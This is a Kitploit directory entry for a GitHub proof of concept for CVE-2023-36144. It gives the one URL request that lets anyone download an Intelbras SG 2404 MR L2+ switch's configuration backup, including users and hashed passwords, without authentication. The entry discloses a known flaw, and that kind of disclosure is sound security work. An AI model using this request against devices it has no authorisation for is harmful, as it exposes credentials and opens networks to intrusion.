Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Tool Directory

Categories

View all categories

Loading categories

CVE-2023-36144 — Proof-of-concept exploit for CVE-2023-36144 demonstrating unauthenticated backup file download on Intelbras SG 2404 MR L2+ switch, exposing device configuration and hashed credentials. | Kitploit

Tools/

GitHub/leonardobg/cve-2023-36144

Vulnerability Analysis Exploitation Web Application Exploitation Information Gathering Network Security Misconfiguration

leonardobg/cve-2023-36144

CVE-2023-36144

Proof-of-concept exploit for CVE-2023-36144 demonstrating unauthenticated backup file download on Intelbras SG 2404 MR L2+ switch, exposing device configuration and hashed credentials.

View Repository

11103 years ago

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2023-36144

PoC of CVE-2023-36144 - Intelbras Switch SG 2404 MR L2+ firmware 1.00.54

Download the backup file unauthenticated

Steps to Reproduce:

Go to the following link http://127.0.0.1/cgi-bin/exportCfgwithpasswd (replace 127.0.0.1 with the device IP)
It will auto download the backup file, containing the device configurations and its users and hashed passwords

Download Tool